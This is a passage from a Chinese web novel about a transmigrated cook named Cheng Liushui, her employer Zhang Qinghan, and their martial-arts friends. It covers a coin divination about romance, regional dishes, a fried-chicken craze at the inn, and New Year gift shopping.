一勺子鸭血鸭肉辣椒进嘴,简直是鲜得舌头要掉了,辣得直跳脚,明明吃得头顶都要冒烟了,却还舍不得不吃,一勺接一勺上瘾得很,整个人在这寒冬腊月都热出一身汗来。 “你看看,六水一看就和我对脾气,这么爱吃辣椒,巧了我也爱吃啊,你说说我们不做师徒唔唔唔。”立冬长老正要继续方才的话题,嘴里就被塞了好大块牛肉。 他嚼着嚼着这才反应过来了,合着是不想让他收六水做徒弟啊?这小清寒和小时候一样,有啥好东西就知道藏着掖着,半点心胸都没有。 不过立冬长老这些年在外闯荡成熟了许多,倒也真不再提起收徒的事了,笑嘻嘻地夹了筷子利村牛肉给程六水,“六水你再尝尝这道菜,客家菜好吃得很,我第一次简直是惊为天人。” 程六水一口下去,腌制的恰到好处的牛肉香气就在嘴里爆开,鲜嫩的汁水四溢开来,麦菜的清香混合其中若隐若现,增添了不可多得的风味,当然了最为刺激的就是爆辣的小米椒在嘴里翻腾着,好吃到舌尖都红了。 她尝出这麦菜定是清晨的头一茬,刚从肥沃的土壤里拔出来,水汪汪的甜滋滋的,牛肉天然的油脂与菜籽油包裹住麦菜,有滋有味得很。 程六水恨不得现在就去品味居大厨那偷师,鲜少吃到肉菜中的绿叶菜如此出彩的,再配一口大米饭,一口饭一口麦菜再来上一口嫩牛肉,轻而易举就扫平了今日一整天的疲惫与不安。 最后再浇上一大勺莲华血鸭同米饭搅拌在一起,米中有血鸭,血鸭中藏着米,满满的吃上一勺,撑得程六水直接打了好几个嗝。 众人酒足饭饱后,多是在庐山派参观一二,而程六水奔着厨房就去,扎进去就不出来了。 “师弟,你为何不让我收六水为徒呢?我是当真与她投缘,她也有缘法定能做出番成就来。”立冬长老道。 “我知道她很聪明,但她志不在此,你看她这一路有问你什么卜算风水吗?现下还不是跑到厨房里去了。”张清寒道。 “你这么一说确实如此,算了强求不得。”立冬长老长舒一口气道。 “还有她不能做我师侄。”张清寒面色平静却又饱含深意道。 第39章 庐山拌粉 立冬长老挑着眉疑惑不解,随后在自家心眼贼多的师弟脸上打量了一圈,才笃定道,“我知道了,是你想收六水为徒吧?你那剑法是童子功,六水虽说年纪不大,但也快二十了吧,你可莫要白日做梦瞎子点灯白费蜡。” 张清寒冰霜一般地面孔忽而笑了,对着眼前这位年纪渐长心智却那么点欠缺的师兄道,“师兄你是怎么当上庐山派长老的?不会是你忽悠莫掌门吧?” “天地良心啊我这人从来就不忽悠人,说话从来都是丁是丁卯是卯。”立冬长老拍着胸脯保证道,一打岔全然忘记了方才要收六水为徒的心思。 “哦?那师兄不妨为我卜一卦?”张清寒坐于竹林间古石凳上,清幽风声吹过,周遭竟寂静了起来。 “你要卜 什么?你不是向来不信这些的吗?“立冬师兄狐疑地问道,嘴上虽说着手里却还是从衣袖中取出了三枚日日不离身的铜钱,那铜钱早已被磨得表面光滑。 “少时心性,世间万事尽力而为必能有所成,何需卜算祝祷。如今想来,世事变迁多是十之八九非我所愿,我也早已在其中磨平了自身,可人总有那么几件事是放不下的,于这些放不下的事,就算我知卜算玄之又玄难有验,我亦想试试。”张清寒轻声道,嘴角不易察觉地翘起,似是想到了些什么。 立冬师兄亲自倒了杯热茶递给了张清寒道,“多年不见,师弟你的灵性终于是涨了那么一二分啊,师兄真是深感欣慰啊,来师兄敬你一杯。”说罢自顾自地先痛饮了一杯。 张清寒脑瓜子又嗡嗡疼了,他怎么觉得自己是被骂了,“你到底算不算?” “算啊!来拿着这三枚铜钱,心中默念你的疑惑,虔诚地将铜钱抛于空中六次即可。”立冬师兄赶忙抓住张清寒的手道。 “六次?”张清寒反问道。 “那可不?咋地你以为小孩过家家呢,你随便扔扔就能算出来,你师兄我可是很专业的。”立冬师兄捋了捋自己的两缕贼长的白胡须道。 “哦,我还有个问题。”张清寒又道。 “什么问题?尽管问,我于此卜算一道,敢说江湖中无人能超越我。”立冬师兄说着说着头都仰起来了,活像个雄赳赳气昂昂的大公鸡。 “你为什么头发是黑的,胡子是白的?我记得你也就比我大个七八岁吧。”张清寒面无表情提出了疑惑。 “???说叫你问这个了,你这个土老帽压根不懂,这是潮流这是时尚!”立冬师兄赶紧护住自己两缕宝贵的胡须不肯松手。 “明白了,你臭美自己拿草木灰染的白胡子,学你师父的,东施效颦。”张清寒十分欠揍地笑道。 “你个小兔崽子给我闭嘴,你快扔铜钱!”被戳中痛脚的立冬师兄咋咋呼呼道,他倒要看看张清寒的卦象到底如何。 张清寒调侃完儿时的仇人,这才正襟危坐了起来,表情严肃地开始摇卦,起手反复间六次爻象尽显。 “两正一反为少阳,两反一正为少阴,三个反面则是老阴,这便是动爻了,再又是两反一正少阴,两正一反少阳,最末一次还是两正一反。”立冬师兄边记录着边念念有词道,语调也高深莫测了起来,先是长叹一口气眉头紧皱,随后微微缓和,却又令人放不下心来。 “如何?”张清寒这么个冷心冷面的人看了立冬的脸,都不禁紧张起来。 “清寒啊,你同师兄说说,你现下是遇着啥难事?”立冬师兄主动上前拍着张清寒的肩膀道。 不拍还好,这一拍肩膀给张清寒一身冷汗都拍下来了,于剑道而言,他早已参透其中奥妙,堪为当世前三;于世俗而言,他位极人臣,得君后爱重;若说有什么难事,大抵便是一人,此人他琢磨不透硬不得软不得,捧在手心中还怕她不愿意。 “师兄不必忌讳,尽管直说便好,我扛得住。”张清寒轻声道,眼角不自觉地敛起。 “倒也没什么扛得住扛不住的,你这卦本为水山蹇,山间险峻更见湿滑之水,欲要前行便是无尽的险阻,若是你心中有所求,那这事便就难办了,每走一步只会难上加难。”立冬师兄褪去了往日的嬉皮笑脸道。 张清寒闻听此言,目光不禁越过片片竹林看向品味居,心中不禁悲戚了下来,原来当真是自己的自作多情罢了,自相识起她对自己说了那许多称赞之语,想必不过是从未过眼过心的恭维。 “师弟师弟!”立冬师兄这下是真惊着了,只见张清寒眼睛直了,嘴巴都耷拉了下来,俨然一个霜打的茄子。 “……无事,师兄接着说吧。”张清寒这才藏下些悲悲切切,强装镇定道。 “你莫急,这卦象我只说了半截,这本卦着实是不太好,实乃下下卦,奇就奇在这卦中有动爻,动爻乃是这卦象的关键,一举扭转了卦象。”立冬师兄说到这,又故作高深地捋了捋胡子。 “你再不一次将话说完,我就把你胡子剪了。”张清寒一口气差点没上来,被吊在半空中是坐立难安啊。 “哎哎哎君子动口不动手!”立冬长老撒丫子就跑到张清寒对面去了,也不亲热地叫什么“师弟”了。 他紧接着撇嘴道,“此卦中的动爻是阴爻,意味着你若是执着向前定是万般皆休,可若是依照卦象柔顺被动,以退为进静观其变,这转机就来了。 卦象便从水山蹇变为山火贲,山下之火照万物华彩,这便是中上卦象了,你要是能把握时机静观其变,说不定所求之事还真能成。” “你这意思是,我什么都不做,事情反而成了?”张清寒直接又被气笑了,这跟莫掌门醒不醒得过来,何时能醒得过来一样,都是说了等于白说。 “你看看你又急了,我什么时候说让你什么都不做了,此卦重点是看你求的是什么,若是求前程那宜静不宜动,可若是求姻缘那就是动静皆宜了。”立冬师兄道。 “动静皆宜是何解?”张清寒急忙追问道。 立冬师兄瞬间瞪大了眼睛,“咻”地一下站得笔直,对着张清寒就是指指点点了起来,“没想到啊没想到,你小子藏得倒挺深,我说怎么好端端找我算起卦来,前面说的什么少年心性什么放不下,藏着掖着的做什么,你就直说你追姑娘没追着得了,磨磨唧唧半天一点儿都不大气一点儿都不上档次。” “行行行,我不大气我不上档次,你快说什么叫动静皆宜。”张清寒也是真急了,不管张立东说什么,他就想知道到底该如何做。 “看在你我师兄弟一场的份上,来为兄给你再好好瞧瞧,手伸出来。”立冬师兄仔细端详起了张清寒的手掌心,愈看愈有兴味,若有所思道, “山火贲本就是主男女姻缘的,动静皆宜就是要将主动权交还给另一方,也就是你的心上人,观你手相你这心上人也不是个寻常人,寻常姑娘莫说是主动,就是被男子搭话都羞臊得很,可你这心上人是个顶有主意的人,你若不是她想要的,便是神仙下凡也甭想入了她心门,若是她想要的,就是那贩夫走卒她也视若珍宝。” “那我能做什么?这样说来,我与她相识不短,她……却未曾对我有过什么逾矩之情。”张清寒低下头难得的难为情道。 “你看我这卦多准,本是襄王有意神女无梦,只待把握时机便可郎情妾意成就美满姻缘,关键在你得以静制动,你得欲抱琵琶半遮面,得回眸一笑百媚生,得暗里回眸深属意。”立冬师兄阵阵有词道。 “你这都用的什么词?”张清寒轻咳了两声道,脸顿时红得不成样子。 “意思反正就是这么个意思,你自己慢慢领会吧,为兄我年纪大了得早点回去睡了,你就先自个儿琢磨着吧。”立冬师兄转身就走了,那张脸笑得就差开花了,毕竟见着自己昔日仇敌为情所困的样子,真是太有意思了,他这就回去给大师兄三师兄六师弟写信去。 翌日天朗气清,张清寒顶着两个黑眼圈推开了房门,入眼便是一桌子精心烹饪的早饭。 一行人早已坐得七七八八,程六水正端着两碗粉笑呵呵地走过来,“东家起来得正好,我昨日特意和品味居的厨子师傅请教过,这拌粉定是叫你吃了一碗还想第二碗。” 立冬长老眼巴巴地瞅过去,好家伙卖相着实不错,莹白清爽的米粉码得齐齐的,一看就是用凉水洗过数遍的,这入嘴定是弹牙顺滑得很,喷香喷香的料汁浇在米粉上,散发着令人食指大动的香气,萝卜干雪里蕻花生米洒在其中,馋人得要命。 “好。”张清寒倒是没什么心思看米粉,他一想起昨日那卦象便心虚地低下了头,没过几瞬却又抬起头看向程六水,一双眼睛亮得吓人,本是剑眉星眸甚为夺目,此时却歪歪扭扭了起来,一双眼瞪得溜圆,两弯眉弯成了山路十八弯。 程六水呆愣了几下道,“东家,你眼睛抽筋了?” 张清寒腿一打弯差点平地摔跤,深吸一口气收回了自己研究了一晚上的“回眸一笑百媚生”道,“无事吃饭吧。” 一旁已经开始拌米粉的立冬长老,瞅瞅张清寒又瞅瞅程六水,终于福灵心至,激动地蹦起来对着程六水道,“你你你!” 第40章 麦麦套餐 幸亏程六水手稳,极快地将那其余几碗米粉放在了石桌上,这才不至于被这一惊一乍的立冬长老吓翻,赶忙摸了摸自己的小心脏,扑通扑通地跳个不停。 好不容易缓过神来,只见那立冬长老张着嘴,嘴里塞了两个香甜软糯的白糖糕,两颊塞得鼓鼓囊囊,干嘎巴嘴也说不出来话,只能唔唔唔地叫个不停。 “长老,你没事吧?”程六水震惊道。 “他没事,这是他的旧疾了,过一会儿就好了。”张清寒拉着立冬长老就坐了下来,自己则坐在了程六水身边,语气温和道。 “我怎么不知长老有这旧疾?要不要我去请门中的药师瞧瞧。”莫年捧着碗米粉,一口爽滑的粉穿过齿尖,酱香溢满了嘴中,嘎嘣脆响的花生米一咬开,全是油炸过的香气。 “不必,他少时的毛病,我帮他治就行了。”张清寒依旧是不温不火的神情,慢悠悠地拉着还在努力咀嚼的立冬长老进了屋子。 程六水望着二人离去的背影,心下生起了缕缕好奇,六白山这地方确实是个奇山,里面出来的一个个都是武林豪杰,就是性子怪得很。 “雪意,尝尝这个白糖糕,甜甜的糯糯的,我做了许多呢今日赶路吃来最好。”程六水笑眯眯地投喂给唐雪意,瞅了瞅左边的身姿挺拔的裴然之,又看了看右边少年意气的莫年。 唐雪意坐在这二人中间却感觉不出空气中的剑拔弩张,她轻启唇瓣吃了一口白糖糕,甘甜瞬间在嘴里炸开,随之而来就是从没吃过的酥软,外皮酥脆内里柔软,糖粒随着牙齿的碰撞不停地打转,吃得她心情都好了起来。 “怎么会这么好吃啊!六水这也是你昨日学的吗?你真是太厉害了吧。”唐雪意竖起大拇指忍不住夸奖道。 “哎呀哪有哪有,一般般厉害了。”程六水咧开嘴笑得跟个向日葵一样,偏生还挥挥手做出一副难为情的样子,实则心里早就乐开了花。 随后接着道,“这白糖糕是庐山这边的特色小吃,我昨日一尝真是香甜可口月缴越想,用料却十分简单,只要糯米粉大米粉还有白糖菜籽油就成了,对再来点开水齐活。做起来也不费事,揉好面团下锅一炸,那白团子就炸开了,最后出锅裹上些白糖,一炷香的时间都要不了,酒楼多做些这个当作客人们的小食,甚是不错啊。” 唐雪意一边听着一边又拿了个白糖糕吃起来,吧唧吧唧道“六水,你是我遇到过做饭最好吃的厨子,要不你别在酒楼做了,来我们雪窦派吧,酒楼成天忙得脚不沾地,我们雪窦派就不一样了,七八个人给你打下手,你指挥就成。” 程六水这回倒是没有半分犹豫,干脆了当地开口道,“我啊还是想在酒楼多干一段时间,等什么时候攒够钱了,我自己也开一个酒楼食肆的,打工是挣不到钱的,还得自己做老板。” “我支持你!什么时候你下定决心开酒楼了,酒楼算我一股,你开的酒楼一定能火。”唐雪意笑道。 “好啊好啊,到时候准保告诉你!”程六水前世今生只有一个极为朴素的愿望,那就是开一家属于自己的小饭店,地方不需要很大,来吃的都是邻里街坊,聊得也是家长里短,昨天谁家小兔崽子闯祸,今天大米涨了两毛钱。 程六水只想守着这样平静的幸福,午后沐浴在金黄的阳光下,店里客人们三五成群地离开,她拄着下巴在摇椅上昏昏欲睡,脚边的橘黄大胖猫喵了两声也眯起了眼睛。 不必担心明天吃不上饭,也没有了对自己指手画脚的人,如果能日日都是这样的日子,她想她最终会成为一个牙齿掉光还要用假牙吃白糖糕的幸福老太太。 而屋内的张清寒对程六水心底的盘算一无所知,他只忙着堵住立冬师兄的嘴。 “我说你小子怎么不让我收六水当徒弟呢,合着你不是想当人家师父,你是想当人家相公啊。”立冬师兄伸出手指,就开始对张清寒指指点点起来。 “师兄!你小声些!”张清寒生怕被屋外的程六水听见,赶忙又捂起立冬师兄的嘴来。 立冬师兄这回学乖了,立刻噤声了起来,一副万事皆了然于胸的模样,随后小声道,“师弟你放心,你这婚事包在师兄身上了,我本是过几日再随着门派诸人前往江陵的,现下我为了师弟你舍命陪君子了,今日我们一同下山!” “大可不必了师兄!”张清寒真是悔得直想扇自己嘴巴,好端端地找这人算什么卦,算来算去全是事。 “那怎么能行呢,这男女结亲就是父母之命媒妁之言,俗话又说长兄如父,四舍五入我也算是你的半个父亲,你这亲事没了我能成吗?”立冬师兄压抑不住自己想要化作瓜田里的猹的冲动道。 张清寒听完无声地笑了,立着眼睛道,“半个父亲?” “额……半个兄弟总成了吧,再说了你方才那挤眉弄眼的样子,光靠你自己哪能行啊。”立冬师兄心虚地讪笑道。 “路上少说话。”张清寒若有所思了几瞬才开口应承下来。 “好嘞!”立冬师兄马上乐得屁颠颠道。 一行人浩浩荡荡地下庐山骑大马,程六水坐在一匹枣红小马上,柔顺皮毛一摸就打滑,鬃毛威风凛凛地在空中摇摆着,她嘴角的笑就没下来过,循着原主记忆中策马奔腾的模样,轻轻一纵那马就跃身而起,呼啸穿过竹林。 飒飒风声划过程六水的耳边,带来的全是自由的味道,那一刻她忽然转头看向一步之遥的张清寒,眼神中闪烁着点点星光。 丁香色的发带束不住程六水在空中凌乱的发丝,澄白的鹅蛋脸上俱是兴高采烈的红润,一双唇张张合合地不停,模糊了张清寒的五感,全然听不清程六水在说什么,只能看见她眼中的狡黠生动。 “东家!我能不能骑着马翘班啊!”风声壮大了程六水心中的火苗,这是她第一次真正地骑马,以后等她有钱了也要买一匹马,骑着马走遍这片陌生又熟悉的土地。 “不可以!”迟来的大喊大叫从她身后追了上来,程六水撇着嘴嘟嘟囔囔,说了些资本家剥削人的话,可惜张清寒一句也没听懂。 一路颠簸终于在午后才赶回酒楼,酒楼大门紧闭,与周遭店铺开门迎客的景象截然不同。 “师弟啊,你这酒楼是要黄了吧?”立冬师兄小声蛐蛐道。 “酒楼厨子被你们带走了,不歇业难不成请人吃石子吗?”张清寒瞥了眼师兄道。 程六水这才翻下马来,仔细嗅了嗅鼻翼间的味道着实熟悉,油酥酥香喷喷,粗盐粒洒在金黄油锅里捞出的土豆条,咸香酥脆中都是碳水满足,这种糖油混合物在湿冷的寒冬着实是十分吸引人的。 她心下不禁有了思量,试探性上前敲了敲门,门内开出了一条小缝,一股子热气透了出来,随之而来的还有冰冷的声音,“今天没号了,一只鸡都没了!” 此话一出,周围人都愣住了,张清寒直接一把推开了大门,好家伙真可谓是宾朋满座锣鼓喧天啊,大堂坐得满满登登,雅间里居然还有拼桌的,更别说过道上等着外带的客人。 每桌上都摆着一模一样的饭菜,要说是饭菜倒也算不上,却也是有肉有菜的,油纸上好几大块金黄炸鸡散发着诱人的香气,有的食客早就不用筷子了,拿起一块放进嘴里咔嚓作响,脆皮哪叫一个焦酥啊,差点就香迷糊了。 炸鸡旁还有些配菜,什么炸土豆条炸地瓜条,最离谱的是本该在夏季畅销的酸梅汤,直接每桌一大壶,客人喝得劲劲的,一口炸鸡嫩滑多汁,一口土豆条甘甜酥脆,再来一大口酸梅汤真真是清爽解腻。 本来忙得脚打后脑勺的马陶陶见了东家一行人,瞬间差点两行泪流了下来,“六水!六水你终于回来了,我以为你逃跑不带我了呢!” “怎么会呢!我要是逃跑肯定带你一起!”程六水亲亲热热地上前抱住马陶陶道。 “咳咳我还在这呢。”张清寒叹了口气道。 马陶陶嘴上虽 然噤声了,但仍挤眉弄眼地与程六水眉目传情,两个好姐妹顿时笑成一团。 “师弟你不是刚说没有厨子了吗?咋地又有了?”立冬师兄闻着炸鸡的香味,瘪瘪的肚子不争气地叫了起来。 “这些都是玉雨炸的,昨日东家你去寻六水后,酒楼本想歇业的。可食客来得太多,偏偏还都是老主顾,玉雨说六水教她做过这种炸鸡炸土豆,又快又好吃,我们只能依样画葫芦做起来,没想到卖出第一单,那后面的客人就乌央乌央全都来了,这两天啊咱后厨是一只鸡都没了,还倒欠城东客栈八只,地窖里的土豆都吃完了快一半。”马陶陶解释道。 程六水深藏功与名地笑着,无心插柳柳成荫,古代麦麦和肯爷爷这不就开起来了吗!《 》 40-50 第41章 七宝水运草 炸鸡遍地卖,土豆快清仓,这股麦麦快餐的热潮瞬间席卷了整个江陵城,男女老少纷纷起个大早排起长队来,就为赶个时髦,吃个新鲜。 这东西人人都能做,虽说味道做的不如十全酒楼好吃吧,却也能解解馋。可人最怕的就是从众,许多食客取了炸鸡炸土豆就走了,不在店中过多停留,本是用油纸好好包上的炸鸡块散发着诱人犯罪的香气,在街头巷尾飘荡着。 有的食客实在是馋得不行了,只好打开油纸举着吃了起来,这一吃倒好,一传十十传百竟成了免费的宣传广告,而那油纸外还写着“十全酒楼”四字,这焉能不赚得盆满钵满。 酒楼一连几日,是正经饭菜都不做了,早上薄饼炸鸡块挤上些西红柿熬的酱,这酱虽不如现代的番茄酱醇厚,却也是西红柿去皮切块,在锅里一两个时辰熬出来的,咕嘟咕嘟地冒着酸甜的香气。 程六水再往里放些西域来的香料,一点点却增彩不少,最后自然少不了几大勺白糖了,无论哪个年头,就没人不爱吃糖的。 而午间则是炸鸡炸鱼条炸番薯的天堂了,那些个雪窦派庐山派的武林侠士接踵而来,三五瞬的功夫就将这酒楼挤得满满当当,他们常年在江湖间游走,少不得风餐露宿饥一顿饱一顿,遇上那手艺不好的,甚至连肉都烤不熟,只能啃着干巴巴的硬饼过活。 再加上这些少年侠士自幼习武,练得多吃得自然就多,如今碰上这等金黄酥脆的鸡肉,仿佛一个个似中了迷咒一般,吃了还想吃,一人能吃好几份。 可苦了程六水和赵玉雨了,没想到这年头发横财也得遭罪,两口大油锅就没停过,炸完这个炸那个,累得程六水都快后悔教赵玉雨这么个炸鸡法子了。 这一日万里无云,是个寒冬中难得的好日子,屋外明亮的日光从纸糊的窗子透了进来,一缕缕撒在了灰黑的地上,还有正炸得火热的油锅里。 “我不想炸东西了,我好想出去瞧热闹,你看今日这天气多好啊。”程六水拿着一双十分长的木筷子,嘴上虽抱怨着手上却麻利地试探着油温,将一盆炸鸡沿着锅边放了进去。 “听说今日便是雪窦派年轻一辈试炼的日子了,他们练什么功来着?”赵玉雨之前从未在江湖上行走,这些武功门派于她而言是极为新奇的存在。 “凤鸣鲤跃鞭,说是雪窦派的独门绝技,得是童子功才能学得会,那日我见裴少侠耍过一会,那身姿当真是宛若惊鸿翩若游龙啊。”程六水笑道。 “那等我们炸完这锅就去看看好不好?”赵玉雨难得跃跃欲试道。 “好啊!炸完两锅吧,东家说炸一锅有一锅的提成,嘿嘿我还是很想赚钱的。”程六水笑眯眯举起一个剪刀手道。 “好,我从前总以为活着总是没什么滋味的,四方的天四方的地,身边总是那么几个人,连吃的东西都是轮换几日重复着来的。但来了这,虽然很累却很开心。”赵玉雨真心实意道。 程六水忽而眼神中有了一丝耐人寻味的琢磨,眯着眼睛渐渐靠近赵玉雨,直到在赵玉雨的耳边停下小声道,“这句话好耳熟,上次听到在哪来着?” “我之前说过吗?”赵玉雨转过头来疑问道。 “不,不是你,是我看过的一个话本子,里面有个后宫娘娘就这么说过,她说,没有比这四四方方的天再无聊的去处。”程六水元圆眼睛滴溜嘟噜地转了起来。 “我从前在那深宅大院里做丫鬟,可不是哪里都四四方方的吗?”赵玉雨忽而低下了头,面色颇有些不自然,轻声说道。 程六水的心里更是划了个疑影,还想再细细思量,不曾想“哐当”一声,几人推开后厨的门,伴着灿烂的阳光跑了进来。 “不得了了!找到了竟然真的找到了!”马陶陶跑得哼哧带喘的,脸上一片红晕止都止不住。 “啥?找到啥了?”程六水来不及想些别的,脱口而出道。 马陶陶这回不喘了也说不了话了,跑得太快一个劲地咳嗽了起来。 “哎呀,你看看你刚刚嗓子好了些,着什么急啊。”程六水说着,就从身后的砂锅了盛了碗温热的冰糖雪梨银耳羹。 马陶陶喝了一大口,这才缓过神来,刚想开口就见乌央乌央一帮人从外面涌入酒楼里,那些人的神情与马陶陶如出一辙,一副见了什么鬼神似的。 “不行了不行了,我要去招呼他们了,我马上回来和你讲啊。”马陶陶撒丫子就跑了。 “哎?你这什么人啊?说话能不能说完啊?”程六水作势就要揍马陶陶,不料还是脚程慢了两步。 而一旁正在偷吃篮子里炸鸡块的乔四方倒是一脸的波澜不惊,左手一只鸡,右手一只鸡,好不快活。 “这位账房先生,你不也去瞧热闹了吗?你就没什么想说的吗?”程六水撇着嘴说道。 “我?没什么想说的啊,雪窦派那帮弟子就一个个排队甩鞭子,鞭子甩得挺好看的,只不过是花架子,一半都弄不上来锦鲤。”乔四方一本正经地吃着炸鸡道。 “那陶陶方才怎么如此激动?”赵玉雨发问道。 “哦,方才接连好几个年轻弟子都失败了,给唐女侠气得呜呜渣渣的,她就下场亲自示范,她那鞭法比起前面那些确实十分不错,一鞭子下去冰面数道裂纹而起,力道恰到好处,多一分冰面震裂,少一分惊不起几尺下的鱼。”乔四方答道。 “我就知道雪意的武功可以的,早知道不多炸第二锅鸡肉了,应该早早去看热闹的。”程六水可惜道。 “没事的,午后不还有一场吗?到时候我们不干了,一同去瞧瞧。”赵玉雨安慰道。 “午后那场没了。”乔四方平静道。 “没了?怎么会没呢?可是出了什么变故?”程六水瞪大了眼睛,不可置信道。 “算不上变故吧,就是唐女侠后来又耍了几鞭,那鞭子就跟生了灵性般,在冰面下肆意翻滚,不知是触到了什么地方,整条江竟开始在冰面下波涛汹涌了起来,不多时几股滔天巨浪从那冰面的裂缝中喷涌而出,那夹杂着冰碴的鞭子随着巨浪从天而降。”乔四方比比划划道。 “天啊,然后呢?有没有伤到人啊?”赵玉雨吓得捂起嘴巴,小声询问道。 “没有没有,两大门派早就清场了,那些个弟子手脚敏捷得很,没几下就躲开了,待到众人反应过来时,只见冰面中央的唐女侠傻愣愣地看着自己的鞭子。”乔四方接着道。 “雪意莫不是被吓傻了?”程六水担忧道。 “没吓傻,是她鞭子上有东西。”乔四方道。 “有什么?”两个炸鸡厨娘聚精会神地听着,恨不得连耳朵都竖起来。 “有个什么水草,我没记住,当时光顾着给陶陶买糖葫芦了。”乔四方挠头道。 “七宝水运草???”程六水震惊得瞠目结舌道,这草药只在古籍中见过一二,几近在世间消失殆尽,却不想真的被雪窦派找出来了。 “对对对。”乔四方吃完了最后一块炸鸡道。 “这七宝水运草很厉害吗?”赵玉雨见了程六水神情,好奇道。 “不是很厉害,是相当厉害,传说有了它便可起死回生,庐山派如此大费周章邀雪窦派来此试炼,就是为了这七宝水运草,若是真能找到,庐山派的莫掌门就有救了。”程六水不可置信地摇头道。 待 到程六水三人赶到大堂时,两派并肩而坐,立冬长老面前正是那七宝水运草,形似灵芝却柔软如绸缎,若是在水中便如弱柳迎风般飘荡难寻,颜色正如古籍中记载,斑斓绚烂如七色宝石般耀眼夺目,微微靠近便是一股甘甜的清香。 立冬长老忽而起身,走到雪窦派诸人跟前,双手郑重行礼道,“今日是我庐山派在此立誓,只要还有庐山派一天,必定与雪窦派诸位同仁并肩而行,结两派之盟。” “长老多礼了,从此你我两派便是休戚与共同乐同喜。”雪窦派一位白胡子老头走了出来道,一看就是个老前辈了。 “既如此,我便不说这些虚的了,我派诸人须得尽快赶回庐山救治掌门,来日我派定亲上雪窦山登门致谢。”立冬长老又是一礼,带着庐山派诸人浩浩荡荡地快马离去。 冰江面已破,雪窦派也不必在此多留了,翌日便启程离去。 “雪意,你可要多给我来信啊!”程六水站在江陵城门口依依惜别道。 “我会的,六水你可不能忘了我,我一有空就来江陵看你!”唐雪意委屈巴巴地皱着眉毛道。 “不忘不忘,这辈子都不忘!”程六水揪着个小手绢,小媳妇般说着。 看着唐雪意渐行渐远,程六水忽而高声喊道,“要是小莫年和裴少侠打起来,你得马上告诉我啊!” 一旁的张清寒还能不知道程六水这看热闹不嫌事大的性子嘛,直接就将人拖了回去。 第42章 年夜饭 “噼里啪啦巴里不里蹦”一阵阵清脆响亮的鞭炮声在江陵街头响起,程六水身着一朱红软袄袖边还镶了一圈细密的绒毛,乌黑发丝用朱红发带绑成了喜庆的双垂髻,鬓间簪着几朵小绒花,俏生生得极为可爱。 她穿梭在热闹的集市里,东看看西看看,瞧着这绣着桃李林间的钱袋极好,那成片的果子林里,遍地都是丰收的桃子李子,这不就是盆满钵满的意思嘛! “老板,这个怎么卖?”程六水眼睛亮晶晶道。 “二十文钱一个。”老板笑呵呵道。 二十文?程六水心里的小算盘又开始拨弄起来了,她今日兜里是带足了钱的,一年到头好不容易快过年了,她自然想着能买点自己喜欢的东西。 可到了节骨眼上,却是这也舍不得买那也舍不得买,节俭惯了的人花一分钱都是心疼的。程六水看那桃李钱袋旁的素黄钱袋针脚很密用料也很扎实,她瞅了瞅自己腰间早已有些毛边起球的钱袋,只得又开口问道, “老板那这个黄钱袋呢?” “这个便宜些,只要十文钱。”老板依旧笑道。 程六水心中虽犹豫不决,可最终理智还是占了上风道,“那麻烦老板帮我把这个黄钱袋包起来。” “还有这个桃李钱袋。”清冷的声音忽然出现在程六水耳侧,她一回头只见自家东家眉眼柔和整个人如光晕般化开。 “好嘞!”老板一看一开张就卖了两个,自然笑得合不拢嘴。 “东家也要买钱袋吗?我听说江陵这边的风俗便是,新年买个钱袋来年定能发财富贵。”程六水接过自己付钱的素黄钱袋,拎在手里道。 “我一个男子哪里用得着这么可爱的钱袋。”张清寒温柔道,那声音一听柔得都要滴出水来了。 “难不成?”程六水一脸兴致盎然地看向张清寒,很快就忽略了心中一点点的刺痛。 “不成什么?自然是给你买的,明明喜欢这个,为何还要买别的?”张清寒心疼道,他愈靠近六水,心中愈发柔软了起来。 她聪明她善良她成天仿佛没心事的笑呵呵,可没什么连钱袋都不买自己喜欢的?连衣服也只是一季两套换着穿?若不是过年,还不知她要什么时候再添新衣呢。 明明她工钱奖金赚得盆满钵满,前日里给陶陶买了个聚香坊的胭脂,昨日又给玉雨买了支杏花银簪,可轮到自己却这也舍不得那也舍不得。 “给我的?可我刚买了一个。”程六水避而不答,只是疑惑地问道。 “买一个就不能再买一个吗?我和立冬师兄学了一手卜卦,你明年定能发财赚大钱,到时候两个钱袋都不够装的。”张清寒笑道,将那桃李钱袋递给了程六水。 程六水眯着眼睛笑道,“东家你真是个大好人!是特别特别好的东家!” 张清寒撇了撇嘴,明知这丫头嘴里没一句真话,却还是忍不住喜欢被她夸奖,每每这个时刻,她的眼睛里就只有自己一个人了。 想到这,张清寒忽而又轻了轻嗓子道,“听说你给伙计们都买了新年礼。” “是啊,给陶陶买了盒凤仙胭脂,玉雨则是杏花簪子,四方嘛自然是找李铁匠打得一把匕首,少仲最爱酒我淘了本酒种古籍,你看是不是送得很好。”程六水仰着头笑道。 “很好,那你是不是忘了点什么?”张清寒咬着牙瞪着眼问道。 “忘了什么吗?我不是这已经给自己买钱袋了吗?就当做是自己的新年礼吧。”程六水眨巴着眼睛道。 张清寒伸出了一只手,无奈摆出了一个姿势,“你说这是几?” “六啊。”程六水理所当然道,“东家你是不是过年高兴傻了,六都不认识了。” “那你买了几个礼物?”张清寒深吸一口气,强装镇定道。 “一二三四五……五个礼物。”程六水狡黠地偷笑道,猛地从身后抽出来一本书递给了张清寒道,“放心吧东家,忘了谁都不会忘了你的,我送你的新年礼,你看喜不喜欢!” 张清寒瞳孔不禁放大了起来,近在咫尺的新年礼在心上人的手中摇摆着,明晃晃的四个大字在他眼前跳动着“家常食谱”。 “怎么了?你不喜欢吗?”程六水见张清寒迟迟不接着,心下就划了混儿,颇有些惴惴不安道。 张清寒一双星目直勾勾地看向程六水,如琉璃般澄净清澈,刹那间无声的烟花在眼眸中四起,绚烂至极的爱意不经意间喷涌而出,甚至都来不及收敛道,“没有,我很喜欢。” 这声音竟然还有一丝颤抖,这倒是出乎程六水的意料,怎么还激动上了,自己不就是觉着张东家这人处处都好,武功高长得帅,能文能武简直是个完人,就是做饭实在是太难吃了。 这以后酒楼生意蒸蒸日上,光是玉雨学了些菜式是不够的,最好大家都会做点,这样自己不就可以快乐地玩耍了嘛,眼下瞧着张东家的神情,看来他们二人是英雄所见略同,都对酒楼的未来充满了信心啊。 而张清寒差点都热泪盈眶了,他知程六水最爱做饭,每每见到她烹饪时眼神中的流光溢彩,张清寒便不禁心动起来,如今她竟然送自己菜谱,这不就是愿意将自己拉入她的喜好中吗? 原来比起投其所好,更令人心惊的是,同喜欢的人做她喜欢的事。 “我一定会好好珍藏的。”张清寒红了眼尾道。 